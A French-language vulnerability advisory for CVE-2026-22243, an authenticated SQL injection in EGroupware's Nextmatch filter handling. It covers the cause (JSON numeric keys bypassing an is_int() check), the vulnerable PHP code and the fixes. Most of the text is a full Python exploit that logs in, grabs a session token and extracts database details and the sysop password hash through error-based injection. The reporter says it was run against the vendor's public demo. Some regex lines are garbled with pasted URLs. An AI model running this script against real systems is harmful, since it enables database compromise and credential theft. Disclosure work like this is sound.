
CVE-2026-22243 - EGroupware présente une injection SQL dans le traitement des filtres Nextmatch.
| Champ | Détails |
|---|
| ID CVE | CVE-2026-22243 |
| Sévérité | HAUTE |
| Avis | Voir l'avis |
| Découvert par | Lukasz Rybak |
Injection SQL critique authentifiée dans le traitement des filtres du widget Nextmatch
Une vulnérabilité critique d'injection SQL existe dans les composants principaux d'EGroupware, plus précisément dans le traitement des filtres Nextmatch. Cette faille permet à des attaquants authentifiés d'injecter des commandes SQL arbitraires dans la clause WHERE des requêtes de base de données. Cela est rendu possible en exploitant un problème de manipulation des types en PHP, où le décodage JSON convertit les chaînes numériques en entiers, contournant ainsi le contrôle de sécurité is_int() utilisé par l'application.
Analyse de la cause racine
La vulnérabilité réside dans la manière dont la couche d'abstraction de base de données (Api\Db) et les classes de stockage de haut niveau (Api\Storage\Base, infolog_so) traitent le tableau col_filter utilisé dans les widgets « Nextmatch ».
L'application tente de valider l'entrée à l'aide de is_int($key) afin de déterminer si une clé de tableau représente un fragment SQL brut qui doit être considéré comme fiable. Cependant, lors du traitement des requêtes POST basées sur JSON, json_decode de PHP convertit automatiquement les clés de chaînes numériques (par exemple, "0") en entiers natifs.
Par conséquent, un attaquant peut envoyer une charge utile JSON avec un tableau associatif contenant des clés numériques. L'application interprète ces clés comme des entiers (is_int renvoie true) et ajoute aveuglément les valeurs associées — contenant du SQL malveillant — directement à la requête.
Emplacements de code vulnérables
sources/egroupware/api/src/Db.php (environ ligne 1776)
Méthode : column_data_implode// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
if (empty($data)) continue;
// VULNERABLE: $data is appended directly to SQL without sanitization
$values[] = $data;
}
sources/egroupware/api/src/Storage/Base.php (environ ligne 1134)
Méthode : parse_search// In function parse_search
foreach($criteria as $col => $val) {
// VULNERABLE: is_int() returns true for JSON keys like "0"
if (is_int($col)) {
$query[] = $val;
}
// ...
}
J'ai vérifié cette vulnérabilité sur une instance Docker locale et l'ai confirmée (en lecture seule) sur votre instance de démonstration publique (demo.egroupware.net).
Script d'exploitation automatisé : Le script suivant automatise la connexion, l'extraction de exec_id et l'exfiltration de données via une injection SQL basée sur les erreurs.
import requests
import re
import sys
import urllib3
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
session = requests.Session()
session.verify = False
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})
def extract_form_inputs(html):
inputs = {}
matches = re.findall(r'<input[^>]+>', html)
for match in matches:
name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
if name_m:
name = name_m.group(1)
value = value_m.group(1) if value_m else ""
inputs[name] = value
return inputs
def login():
print(f"[*] Target: {BASE_URL}")
login_url = f"{BASE_URL}/login.php"
try:
print("[*] Retrieving login form...")
r_get = session.get(login_url, timeout=10)
data = extract_form_inputs(r_get.text)
data.update({
"login": LOGIN_USER,
"passwd": LOGIN_PASS,
"submitit": "Login",
"passwd_type": "text"
})
if 'cancel' in data: del data['cancel']
print(f"[*] Attempting login as: {LOGIN_USER}...")
r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
print("[-] Login failed. Server returned login form.")
return False
print("[+] Login successful.")
return True
except Exception as e:
print(f"[-] Critical error during login: {e}")
return False
def get_exec_id():
print("[*] Retrieving exec_id...")
url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
try:
r = session.get(url, timeout=10)
match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text)
if match:
eid = match.group(1)
print(f"[+] ID found: {eid}")
return eid
else:
if 'name="passwd"' in r.text:
print("[-] Session expired or login failed.")
else:
print("[-] exec_id pattern not found in source code.")
except Exception as e:
print(f"[-] Error retrieving ID: {e}")
return None
def run_query(eid, sql):
full = ""
url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
print(f"[*] Executing SQLi: {sql}")
for offset in range(1, 201, 30):
chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
post_data = {
"request": {
"parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
}
}
try:
r = session.post(url, json=post_data, timeout=10)
match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
if not match:
match = re.search(r"~([^~]+)~", r.text)
if match:
chunk = match.group(1)
if "..." in chunk: chunk = chunk.replace("...", "")
full += chunk
if len(chunk) < 1: break
else:
break
except Exception as e:
print(f"[-] Query error: {e}")
break
return full if full else "NO DATA / ERROR"
if __name__ == "__main__":
if login():
eid = get_exec_id()
if eid:
print("\n" + "="*40)
print(" SQL INJECTION RESULTS ")
print("="*40)
print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
print(f"[+] DB Name: {run_query(eid, 'SELECT database()')}")
print(f"[+] DB User: {run_query(eid, 'SELECT user()')}")
print("\n[*] Retrieving hash for 'sysop' user (if exists):")
res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
print(f" > {res}")
print("="*40 + "\n")
Preuve de vérification sur demo.egroupware.net :
J'ai exécuté le script contre votre démonstration publique afin de confirmer l'exploitabilité dans un environnement de type production (lecture seule).

Impact : Les attaquants disposant d'un accès à faibles privilèges peuvent compromettre entièrement la base de données, ce qui permet :
1. Validation des entrées (liste blanche)
Ne vous fiez pas uniquement à is_int() pour les décisions de sécurité lors du traitement d'entrées externes, en particulier les données JSON dont les clés peuvent être des chaînes numériques. Mettez en œuvre une liste blanche (allowlist) stricte des noms de colonnes autorisés pour le filtrage dans les widgets Nextmatch. Si la clé/colonne ne figure pas dans la liste blanche, rejetez la requête.
2. Liaison des paramètres Assurez-vous que toutes les valeurs de filtre sont liées en tant que paramètres (requêtes préparées) plutôt que concaténées directement dans la chaîne SQL.
3. Vérification stricte des types
Lors du traitement d'entrées JSON, assurez-vous que les clés sont strictement vérifiées par rapport aux types attendus (par exemple, en utilisant === pour une comparaison stricte ou filter_var) avant d'être utilisées dans la logique de génération SQL.
Signalé par Łukasz Rybak
Cette CVE a été divulguée de manière responsable, conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici le sont uniquement à des fins éducatives et défensives.